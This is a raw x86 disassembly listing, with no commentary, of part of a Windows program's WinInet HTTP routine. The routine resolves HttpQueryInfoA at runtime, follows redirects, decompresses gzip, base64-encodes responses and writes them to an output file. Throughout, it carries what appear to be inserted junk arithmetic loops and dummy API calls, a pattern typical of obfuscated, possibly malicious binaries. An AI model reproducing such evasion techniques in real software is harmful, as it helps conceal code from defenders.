push dword [ebp - 0x1138]
call esi
push 3
push dword [ebp - 0x1140]
lea eax, [ebp - 0x111c]
lea ecx, [ebp - 0x1120]
mov dword [ebp - 0x1120], eax
call fcn.00407190
push dword [ebp - 0x1120]
mov byte [ebp - 4], 0x2a
call fcn.004e6912
mov ebx, dword [ebp - 0x1144]
push eax
push ebx
call fcn.0040f9e0
mov eax, dword [ebp - 0x1120]
lea ecx, [ebp - 0x111c]
add esp, 0xc
cmp eax, ecx
je 0x411720
push eax
call fcn.004e5db5
add esp, 4
lea ecx, [ebp - 0x1140]
jmp 0x410e86
push 0
lea eax, [ebp - 0x11c4]
push eax
push 0
push 0x16
push dword [ebp - 0x1170]
mov dword [ebp - 0x11c4], 0
call fcn.00413a20
mov eax, dword [0x5651b8]
add esp, 0x14
mov ecx, 0x5651b8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1184], eax
mov eax, dword [ebp - 0x11c4]
mov byte [ebp - 4], 0x2b
test eax, eax
je 0x411841
push eax
call fcn.004e3d44
mov esi, eax
add esp, 4
test esi, esi
je 0x4117ee
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x4117ba
push str.HttpQueryInfoA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4117ba
push 0
lea ecx, [ebp - 0x11c4]
push ecx
push esi
push 0x16
push dword [ebp - 0x1170]
call eax
push esi
lea ecx, [ebp - 0x1134]
call fcn.0040d7d0
push eax
lea ecx, [ebp - 0x1184]
mov byte [ebp - 4], 0x2c
call fcn.004026b0
lea ecx, [ebp - 0x1134]
mov byte [ebp - 4], 0x2b
call fcn.00401fd0
push esi
call fcn.004e5e73
add esp, 4
mov ecx, dword [0x566ac0]
mov esi, 0x15
lea eax, [ecx + 1]
imul eax, ecx
cdq
idiv esi
cmp edx, 0xb
jne 0x411847
push 0x28
call fcn.004e3d44
add esp, 4
mov edi, eax
xor esi, esi
call fcn.004e5d44
add eax, dword [0x566ac0]
inc esi
mov dword [edi + esi*4 - 4], eax
cmp esi, 0xa
jl 0x411815
mov eax, dword [edi + 0x24]
push edi
mov dword [0x566ac0], eax
call fcn.004e5e73
mov edi, dword [ebp - 0x1150]
add esp, 4
mov ecx, dword [0x566ac0]
cmp byte [ebp - 0x1151], 0
je 0x411d3f
push 0
lea ecx, [ebp - 0x11a8]
call fcn.00469310
lea eax, [ebp - 0x1140]
push 0x51a608
push eax
mov byte [ebp - 4], 0x2d
call fcn.004029c0
add esp, 8
test al, al
je 0x411989
lea eax, [ebp - 0x1140]
push 0x51a610
push eax
call fcn.004029c0
add esp, 8
test al, al
je 0x411989
lea eax, [ebp - 0x1140]
push 0x51a618
push eax
call fcn.004029c0
add esp, 8
test al, al
je 0x411989
lea eax, [ebp - 0x1140]
push 0x51a620
push eax
call fcn.004029c0
add esp, 8
test al, al
je 0x411989
mov ecx, dword [ebp - 0x1144]
lea eax, [ebp - 0x11a8]
push eax
call fcn.004690d0
lea ecx, [ebp - 0x11a8]
mov dword [ebp - 0x1198], 1
mov byte [ebp - 4], 0x2b
call fcn.004695b0
lea ecx, [ebp - 0x1184]
call fcn.00401fd0
lea ecx, [ebp - 0x1140]
call fcn.00401fd0
lea ecx, [ebp - 0x117c]
call fcn.00401fd0
lea ecx, [ebp - 0x1180]
call fcn.00401fd0
lea ecx, [ebp - 0x1150]
call fcn.00401fd0
lea ecx, [ebp - 0x1160]
call fcn.00401fd0
lea ecx, [ebp - 0x1168]
call fcn.00401fd0
lea ecx, [ebp - 0x1164]
call fcn.00401fd0
lea ecx, [ebp - 0x116c]
call fcn.00401fd0
lea ecx, [ebp - 0x114c]
call fcn.00401fd0
lea ecx, [ebp - 0x1158]
call fcn.00401fd0
lea ecx, [ebp - 0x1148]
call fcn.00401fd0
jmp 0x412a94
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1138], eax
mov byte [ebp - 4], 0x2e
call fcn.00413810
test al, al
jne 0x4119e6
push 0x28
call fcn.004e3d44
add esp, 4
mov edi, eax
xor esi, esi
lea ebx, [ebx]
call fcn.004e5d44
add eax, dword [0x566ac0]
inc esi
mov dword [edi + esi*4 - 4], eax
cmp esi, 0xa
jl 0x4119c0
mov eax, dword [edi + 0x24]
push edi
mov dword [0x566ac0], eax
call fcn.004e5e73
add esp, 4
mov eax, dword [ebp - 0x1184]
add eax, 0xfffffff0
push eax
call fcn.004053a0
add eax, 0x10
add esp, 4
mov dword [ebp - 0x113c], eax
lea ecx, [ebp - 0x113c]
mov byte [ebp - 4], 0x2f
call fcn.0040d4f0
mov esi, dword [ebp - 0x113c]
cmp dword [esi - 0xc], 0
jl 0x411c75
push str.location:
push esi
call fcn.004e5f62
mov edi, eax
add esp, 8
test edi, edi
je 0x411c75
sub edi, esi
sar edi, 1
cmp edi, 0xffffffff
je 0x411c75
push edi
push 0x51a580
lea ecx, [ebp - 0x113c]
call fcn.00405550
sub eax, edi
push eax
push edi
lea eax, [ebp - 0x1134]
push eax
lea ecx, [ebp - 0x113c]
call fcn.00407470
push eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 0x30
call fcn.004026b0
lea ecx, [ebp - 0x1134]
mov byte [ebp - 4], 0x2f
call fcn.00401fd0
mov eax, dword [ebp - 0x1138]
cmp dword [eax - 0xc], 0
jl 0x411c75
push str.http
push eax
call fcn.004e5f62
mov edx, eax
add esp, 8
test edx, edx
je 0x411c75
mov ecx, dword [ebp - 0x1138]
sub edx, ecx
sar edx, 1
cmp edx, 0xffffffff
je 0x411c75
mov eax, dword [ecx - 0xc]
sub eax, edx
push eax
lea eax, [ebp - 0x1134]
push eax
lea ecx, [ebp - 0x1138]
call fcn.00408120
push eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 0x31
call fcn.004026b0
lea ecx, [ebp - 0x1134]
mov byte [ebp - 4], 0x2f
call fcn.00401fd0
push 1
lea ecx, [ebp - 0x1194]
call fcn.00469410
lea eax, [ebp - 0x1194]
push eax
push str.urlRedirected
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 4], 0x32
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x2f
call fcn.004695b0
lea eax, [ebp - 0x114c]
push eax
lea eax, [ebp - 0x1054]
push eax
call fcn.0048c490
add esp, 8
push eax
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x33
call fcn.00469230
lea eax, [ebp - 0x1194]
push eax
push str.requestUrl
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 4], 0x34
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x33
call fcn.004695b0
lea ecx, [ebp - 0x1054]
mov byte [ebp - 4], 0x2f
call fcn.00401060
lea eax, [ebp - 0x1138]
push eax
lea eax, [ebp - 0x1084]
push eax
call fcn.0048c490
add esp, 8
push eax
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x35
call fcn.00469230
lea eax, [ebp - 0x1194]
push eax
push str.redirectUrl
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 4], 0x36
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x35
call fcn.004695b0
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x1084]
call fcn.00401060
mov eax, dword [ebp - 0x1140]
mov edx, 1
sub edx, dword [eax - 4]
mov ecx, dword [eax - 8]
or ecx, edx
jge 0x411c2f
push 0
lea ecx, [ebp - 0x1140]
call fcn.00407590
mov eax, dword [ebp - 0x1140]
push eax
call fcn.004e5e56
add esp, 4
lea ecx, [ebp - 0x1194]
push eax
call fcn.00469270
lea eax, [ebp - 0x1194]
push eax
push str.statusCode
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 4], 0x37
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x2f
call fcn.004695b0
mov ecx, dword [ebp - 0x1144]
lea eax, [ebp - 0x11a8]
push eax
call fcn.004690d0
lea ecx, [ebp - 0x113c]
mov dword [ebp - 0x1198], 1
call fcn.00401fd0
lea ecx, [ebp - 0x1138]
call fcn.00401fd0
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 4], 0x2b
call fcn.004695b0
lea ecx, [ebp - 0x1184]
call fcn.00401fd0
lea ecx, [ebp - 0x1140]
call fcn.00401fd0
lea ecx, [ebp - 0x117c]
call fcn.00401fd0
lea ecx, [ebp - 0x1180]
call fcn.00401fd0
lea ecx, [ebp - 0x1150]
call fcn.00401fd0
lea ecx, [ebp - 0x1160]
call fcn.00401fd0
lea ecx, [ebp - 0x1168]
call fcn.00401fd0
lea ecx, [ebp - 0x1164]
call fcn.00401fd0
lea ecx, [ebp - 0x116c]
call fcn.00401fd0
lea ecx, [ebp - 0x114c]
call fcn.00401fd0
lea ecx, [ebp - 0x1158]
call fcn.00401fd0
lea ecx, [ebp - 0x1148]
call fcn.00401fd0
jmp 0x412a94
xor esi, esi
xor eax, eax
mov dword [ebp - 0x11a4], esi
mov dword [ebp - 0x1130], eax
mov dword [ebp - 0x11a0], eax
mov dword [ebp - 0x119c], eax
movsd xmm0, qword [0x519ef8]
movsd xmm1, qword [0x519f00]
movsd xmm5, qword [0x519ef0]
xorps xmm2, xmm2
mov byte [ebp - 4], 0x38
mov dword [ebp - 0x11b8], eax
mov dword [ebp - 0x1134], 3
movsd qword [ebp - 0x11ec], xmm0
movsd qword [ebp - 0x118c], xmm2
movsd qword [ebp - 0x11c0], xmm1
movsd qword [ebp - 0x1178], xmm5
lea ebx, [ebx]
lea eax, [ecx + 1]
imul eax, ecx
cdq
idiv dword [ebp - 0x1134]
cmp edx, 1
jne 0x411e08
movd xmm4, ecx
movapd xmm3, xmm0
cvtdq2pd xmm4, xmm4
mov edi, edi
addsd xmm2, xmm3
movapd xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x411dea
subsd xmm2, xmm3
divsd xmm3, xmm1
movapd xmm1, xmm2
mulsd xmm1, xmm2
movapd xmm0, xmm4
subsd xmm0, xmm1
movsd xmm1, qword [ebp - 0x11c0]
comisd xmm0, xmm5
ja 0x411dd0
mov eax, dword [ebp - 0x1130]
sub eax, esi
mov dword [ebp - 0x1130], eax
add eax, 0x400
push eax
lea ecx, [ebp - 0x11a4]
call fcn.0040edf0
mov ecx, dword [0x566ac0]
mov eax, ecx
imul eax, ecx
cdq
mov esi, 9
idiv esi
cmp edx, 5
jne 0x411ea2
xor edx, edx
mov dword [ebp - 0x1128], edx
lea edi, [ebp - 0xe38]
lea ecx, [ecx]
xor ebx, ebx
mov eax, ecx
inc ebx
cdq
xor esi, esi
idiv ebx
mov dword [ebp - 0x11ac], ebx
mov dword [ebp - 0x11b4], edx
lea ecx, [esi + 1]
mov esi, ecx
cmp esi, 0xe
jl 0x411e66
mov ebx, dword [ebp - 0x11ac]
mov ecx, dword [0x566ac0]
add edi, 0xe
cmp ebx, 8
jl 0x411e52
mov edx, dword [ebp - 0x1128]
inc edx
mov dword [ebp - 0x1128], edx
cmp edx, 0xe
jl 0x411e50
mov edi, dword [ebp - 0x1150]
mov ebx, dword [ebp - 0x117c]
mov eax, dword [ebp - 0x11a4]
mov esi, dword [ebp - 0x1130]
lea ecx, [ebp - 0x11b8]
push ecx
add eax, esi
push 0x400
push eax
push dword [ebp - 0x1170]
mov dword [ebp - 0x11b8], 0
call fcn.0040ee70
push eax
call fcn.0041e560
test eax, eax
je 0x412884
mov eax, dword [ebp - 0x11b8]
add eax, esi
push eax
lea ecx, [ebp - 0x11a4]
call fcn.0040edf0
cmp dword [ebp - 0x11b8], 0
je 0x411f3a
mov eax, dword [ebp - 0x11a0]
mov ecx, dword [0x566ac0]
mov esi, dword [ebp - 0x11a4]
movsd xmm5, qword [ebp - 0x1178]
movsd xmm1, qword [ebp - 0x11c0]
movsd xmm0, qword [ebp - 0x11ec]
movsd xmm2, qword [ebp - 0x118c]
mov dword [ebp - 0x1130], eax
jmp 0x411db0
push 0x400
lea eax, [ebp - 0x817]
push 0
push eax
mov byte [ebp - 0x818], 0
call fcn.004e67c0
add esp, 0xc
mov dword [ebp - 0x11d8], 0x400
push str.Wininet.dll
xor esi, esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x1134], eax
test eax, eax
je 0x412011
mov esi, dword [0x566ac0]
mov ecx, 0xa
lea eax, [esi + 1]
imul eax, esi
cdq
idiv ecx
cmp edx, 1
jne 0x411ffe
test esi, esi
je 0x411ffe
lea esp, [esp]
mov ecx, esi
and ecx, 0x80000001
jns 0x411faf
dec ecx
or ecx, 0xfffffffe
inc ecx
jne 0x411fbc
mov eax, esi
cdq
sub eax, edx
mov esi, eax
sar esi, 1
jmp 0x411fc3
lea esi, [esi*2 + 1]
mov eax, 0x55555556
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
lea eax, [eax + eax*2]
sub ecx, eax
mov dword [0x566ac0], esi
sub ecx, 0
je 0x411fed
sub ecx, 2
je 0x411ff0
dec ecx
je 0x411ff1
jmp 0x411ffa
add esi, 2
inc esi
add esi, 2
mov dword [0x566ac0], esi
test esi, esi
jne 0x411fa0
push str.HttpQueryInfoA
push dword [ebp - 0x1134]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0
lea eax, [ebp - 0x11d8]
push eax
lea eax, [ebp - 0x818]
push eax
push 0x1d
push dword [ebp - 0x1170]
call esi
test eax, eax
je 0x4121a1
lea eax, [ebp - 0x818]
push eax
lea ecx, [ebp - 0x1130]
call fcn.0040d7d0
lea eax, [ebp - 0x1130]
push str.gzip
push eax
call fcn.00402960
add esp, 8
test al, al
je 0x412192
mov dword [ebp - 0x1190], 0
mov dword [ebp - 0x118c], 0
mov dword [ebp - 0x1188], 0
mov eax, dword [ebp - 0x11a4]
mov ecx, dword [ebp - 0x11a0]
lea edx, [ebp - 0x1190]
push edx
sub ecx, eax
push ecx
push eax
mov byte [ebp - 4], 0x3b
call fcn.00413670
add esp, 0xc
test eax, eax
jne 0x41212f
push dword [ebp - 0x1170]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
cmp byte [ebp - 0x1129], 0
je 0x4120c9
push dword [ebp - 0x1138]
call esi
push str.gzip_decompressing_error
lea ecx, [ebp - 0x1134]
call fcn.00401b10
mov ebx, dword [ebp - 0x1144]
push eax
push ebx
mov byte [ebp - 4], 0x3c
call fcn.0040f8a0
add esp, 8
lea ecx, [ebp - 0x1134]
call fcn.00401fd0
lea ecx, [ebp - 0x1190]
call fcn.00487bb0
lea ecx, [ebp - 0x1130]
call fcn.00401fd0
lea ecx, [ebp - 0x11a4]
call fcn.00487bb0
lea ecx, [ebp - 0x1184]
call fcn.00401fd0
lea ecx, [ebp - 0x1140]
jmp 0x410e86
lea eax, [ebp - 0x1190]
push eax
lea ecx, [ebp - 0x11a4]
call fcn.0040f430
mov edx, dword [0x566ac0]
lea ecx, [edx + 1]
lea eax, [edx + 2]
imul eax, ecx
imul eax, edx
cdq
mov ecx, 0x18
idiv ecx
cmp edx, 0x14
jne 0x412176
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x50
div ecx
inc edx
mov dword [0x566ac0], edx
call fcn.004137c0
test al, al
jne 0x412187
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
lea ecx, [ebp - 0x1190]
call fcn.00487bb0
lea ecx, [ebp - 0x1130]
mov byte [ebp - 4], 0x38
call fcn.00401fd0
push dword [ebp - 0x1170]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
cmp byte [ebp - 0x1129], 0
je 0x4121c0
push dword [ebp - 0x1138]
call esi
mov esi, dword [ebp - 0x113c]
push str.responseType
mov ecx, esi
mov byte [ebp - 0x1121], 0
mov byte [ebp - 0x1130], 0
call fcn.00469920
mov ecx, eax
call fcn.0046a890
test al, al
je 0x412272
push str.responseType
mov ecx, esi
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1174]
push eax
call fcn.0048c3c0
lea eax, [ebp - 0x1174]
push str.base64
push eax
call fcn.00402960
add esp, 0x24
test al, al
je 0x41223a
mov byte [ebp - 0x1121], 1
jmp 0x412267
lea eax, [ebp - 0x1174]
push str.binary
push eax
call fcn.00402960
mov ecx, dword [ebp - 0x1130]
add esp, 8
movzx ecx, cl
test al, al
mov eax, 1
cmovne ecx, eax
mov dword [ebp - 0x1130], ecx
lea ecx, [ebp - 0x1174]
call fcn.00401fd0
mov eax, dword [0x5651b8]
mov ecx, 0x5651b8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x11b0], eax
cmp byte [ebp - 0x1121], 0
mov byte [ebp - 4], 0x3d
je 0x41234b
mov esi, dword [ebp - 0x11a4]
mov eax, dword [ebp - 0x11a0]
sub eax, esi
push eax
lea eax, [ebp - 0x1134]
push esi
push eax
call fcn.0040cd70
add esp, 0xc
push eax
lea ecx, [ebp - 0x11b0]
mov byte [ebp - 4], 0x3e
call fcn.004026b0
lea ecx, [ebp - 0x1134]
mov byte [ebp - 4], 0x3d
call fcn.00401fd0
lea eax, [ebp - 0x1128]
push eax
call fcn.0040d6f0
push eax
lea eax, [ebp - 0x11b0]
push eax
call fcn.00402900
add esp, 0xc
lea ecx, [ebp - 0x1128]
mov byte [ebp - 0x1121], al
call fcn.00401fd0
cmp byte [ebp - 0x1121], 0
je 0x412492
push str.Base64_encdng_error
lea ecx, [ebp - 0x1134]
call fcn.00401b10
mov ebx, dword [ebp - 0x1144]
push eax
push ebx
mov byte [ebp - 4], 0x3f
call fcn.0040f8a0
add esp, 8
lea ecx, [ebp - 0x1134]
call fcn.00401fd0
lea ecx, [ebp - 0x11b0]
jmp 0x412109
cmp byte [ebp - 0x1130], 0
jne 0x41248c
call fcn.00413810
test al, al
jne 0x4123ec
mov esi, dword [0x566ac0]
mov eax, 0xb30f6353
imul esi
add edx, esi
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0xb7
mov eax, esi
sub eax, ecx
mov dword [ebp - 0x1128], 0
cmp eax, 0xce
je 0x4123e1
xor edi, edi
jmp 0x4123a0
mov eax, esi
or eax, 0xffffffd4
add esi, eax
mov eax, esi
imul eax, esi
inc edi
cmp edi, eax
jg 0x4123d5
mov eax, 0xb30f6353
imul esi
add edx, esi
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0xb7
mov eax, esi
sub eax, ecx
cmp eax, 0xce
jne 0x4123a0
mov dword [ebp - 0x1128], edi
mov edi, dword [ebp - 0x1150]
mov eax, dword [ebp - 0x1128]
mov dword [0x566ac0], eax
mov esi, dword [ebp - 0x11a4]
mov eax, dword [ebp - 0x11a0]
sub eax, esi
mov dword [ebp - 0x1134], eax
cmp byte [eax + esi - 1], 0
je 0x412424
inc eax
push eax
lea ecx, [ebp - 0x11a4]
call fcn.0040edf0
mov esi, dword [ebp - 0x11a4]
mov eax, dword [ebp - 0x1134]
mov byte [eax + esi], 0
mov eax, dword [ebp - 0x11a0]
sub eax, esi
cmp eax, 3
jbe 0x41245f
cmp byte [esi], 0xef
jne 0x41245f
cmp byte [esi + 1], 0xbb
jne 0x41245f
cmp byte [esi + 2], 0xbf
jne 0x41245f
lea eax, [esi + 3]
push eax
push esi
lea eax, [ebp - 0x11bc]
push eax
lea ecx, [ebp - 0x11a4]
call fcn.0040ec90
mov esi, dword [ebp - 0x11a4]
push esi
lea ecx, [ebp - 0x1134]
call fcn.00401b10
push eax
lea ecx, [ebp - 0x11b0]
mov byte [ebp - 4], 0x40
call fcn.004026b0
lea ecx, [ebp - 0x1134]
mov byte [ebp - 4], 0x3d
call fcn.00401fd0
jmp 0x412492
mov esi, dword [ebp - 0x11a4]
mov ecx, dword [ebp - 0x113c]
push str.outputFile
mov byte [ebp - 0x1174], 0
call fcn.00469920
mov ecx, eax
call fcn.0046a890
test al, al
je 0x4125ab
mov ecx, dword [ebp - 0x113c]
push str.outputFile
call fcn.00469920
mov ecx, eax
call fcn.0041c840
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x1138]
push eax
call fcn.0048c3c0
add esp, 0x1c
mov eax, dword [ebp - 0x1138]
mov byte [ebp - 4], 0x41
cmp dword [eax - 0xc], 0
je 0x41259c
cmp byte [ebp - 0x1130], 0
je 0x41255c
push 0x51a6d0
push eax
lea eax, [ebp - 0x1130]
push eax
mov dword [ebp - 0x1130], 0
call fcn.004e78d2
add esp, 0xc
test eax, eax
jne 0x41259c
mov eax, dword [ebp - 0x1130]
test eax, eax
je 0x41259c
push eax
mov eax, dword [ebp - 0x11a0]
sub eax, esi
push eax
push 1
push esi
call fcn.004e7c1b
push dword [ebp - 0x1130]
call fcn.004e7a4d
add esp, 0x14
mov byte [ebp - 0x1174], 1
jmp 0x41259c
mov eax, dword [ebp - 0x11b0]
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
call fcn.004053a0
add eax, 0x10
mov dword [esi], eax
add esp, 4
lea eax, [ebp - 0x1138]
push eax
call fcn.0040eab0
movzx ecx, byte [ebp - 0x1174]
add esp, 8
test al, al
mov eax, 1
cmovne ecx, eax
mov byte [ebp - 0x1174], cl
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 0x3d
call fcn.00401fd0
push 0
lea ecx, [ebp - 0x11d4]
call fcn.00469310
push 1
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x42
call fcn.00469410
lea eax, [ebp - 0x1194]
push eax
push str.result
lea ecx, [ebp - 0x11d4]
mov byte [ebp - 4], 0x43
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x42
call fcn.004695b0
lea eax, [ebp - 0x11b0]
push eax
push eax
call fcn.0048d330
lea eax, [ebp - 0x11b0]
push eax
lea eax, [ebp - 0x1084]
push eax
call fcn.0048c490
add esp, 0x10
push eax
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x44
call fcn.00469230
lea eax, [ebp - 0x1194]
push eax
push str.content
lea ecx, [ebp - 0x11d4]
mov byte [ebp - 4], 0x45
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x44
call fcn.004695b0
lea ecx, [ebp - 0x1084]
mov byte [ebp - 4], 0x42
call fcn.00401060
lea eax, [ebp - 0x1184]
push eax
lea eax, [ebp - 0x1054]
push eax
call fcn.0048c490
add esp, 8
push eax
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x46
call fcn.00469230
lea eax, [ebp - 0x1194]
push eax
push str.headers
push str.additionalInfo
lea ecx, [ebp - 0x11d4]
mov byte [ebp - 4], 0x47
call fcn.00469840
mov ecx, eax
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x46
call fcn.004695b0
lea ecx, [ebp - 0x1054]
mov byte [ebp - 4], 0x42
call fcn.00401060
lea eax, [ebp - 0x1140]
push eax
lea eax, [ebp - 0x106c]
push eax
call fcn.0048c490
add esp, 8
push eax
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x48
call fcn.00469230
lea eax, [ebp - 0x1194]
push eax
push str.httpCode
push str.additionalInfo
lea ecx, [ebp - 0x11d4]
mov byte [ebp - 4], 0x49
call fcn.00469840
mov ecx, eax
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x48
call fcn.004695b0
lea ecx, [ebp - 0x106c]
mov byte [ebp - 4], 0x42
call fcn.00401060
push str.empty
lea ecx, [ebp - 0x109c]
call fcn.00401000
push eax
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x4a
call fcn.00469230
lea eax, [ebp - 0x1194]
push eax
push str.noData
lea ecx, [ebp - 0x11d4]
mov byte [ebp - 4], 0x4b
call fcn.00469840
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x4a
call fcn.004695b0
lea ecx, [ebp - 0x109c]
mov byte [ebp - 4], 0x42
call fcn.00401060
mov ecx, dword [ebp - 0x113c]
push str.outputFile
call fcn.00469920
mov ecx, eax
call fcn.0046a890
test al, al
je 0x412851
push dword [ebp - 0x1174]
lea ecx, [ebp - 0x1194]
call fcn.00469410
push str.outputFi
lea ecx, [ebp - 0x106c]
mov byte [ebp - 4], 0x4c
call fcn.00401000
push str.leResult
push eax
lea eax, [ebp - 0x109c]
push eax
mov byte [ebp - 4], 0x4d
call fcn.0040f090
add esp, 0xc
lea ecx, [ebp - 0x1194]
push ecx
push eax
lea ecx, [ebp - 0x11d4]
mov byte [ebp - 4], 0x4e
call fcn.004696e0
mov ecx, eax
call fcn.00469650
lea ecx, [ebp - 0x109c]
call fcn.00401060
lea ecx, [ebp - 0x106c]
call fcn.00401060
lea ecx, [ebp - 0x1194]
mov byte [ebp - 4], 0x42
call fcn.004695b0
mov ecx, dword [ebp - 0x1144]
lea eax, [ebp - 0x11d4]
push eax
call fcn.004690d0
lea ecx, [ebp - 0x11d4]
mov dword [ebp - 0x1198], 1
mov byte [ebp - 4], 0x3d
call fcn.004695b0
mov edx, dword [ebp - 0x11b0]
jmp 0x4128d6
push dword [ebp - 0x1170]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
cmp byte [ebp - 0x1129], 0
je 0x4128a3
push dword [ebp - 0x1138]
call esi
push str.InternetReadFile_Failed
lea ecx, [ebp - 0x1134]
call fcn.00401b10
push eax
push dword [ebp - 0x1144]
mov byte [ebp - 4], 0x39
call fcn.0040f8a0
mov edx, dword [ebp - 0x1134]
add esp, 8
mov dword [ebp - 0x1198], 1
add edx, 0xfffffff0
or esi, 0xffffffff
mov eax, esi
lea ecx, [edx + 0xc]
mov byte [ebp - 4], 0x38
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x4128f6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x11a4]
call fcn.00487bb0
mov edx, dword [ebp - 0x1184]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
mov byte [ebp - 4], 0x26
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x412924
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1140]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
mov byte [ebp - 4], 0x1c
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x412947
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add ebx, 0xfffffff0
mov ecx, esi
lea eax, [ebx + 0xc]
mov byte [ebp - 4], 0x1a
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x412964
mov ecx, dword [ebx]
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x115c]
mov byte [ebp - 4], 0x12
lea eax, [edx + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x412984
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov byte [ebp - 4], 0xf
lea eax, [edi + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4129a1
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1160]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xd
lea eax, [edx + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4129c4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1168]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xb
lea eax, [edx + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4129e7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1164]
add edx, 0xfffffff0
mov byte [ebp - 4], 9
lea eax, [edx + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x412a0a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x116c]
add edx, 0xfffffff0
mov byte [ebp - 4], 6
lea eax, [edx + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x412a2d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x114c]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
mov byte [ebp - 4], 5
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x412a50
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1158]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
mov byte [ebp - 4], 4
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x412a73
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
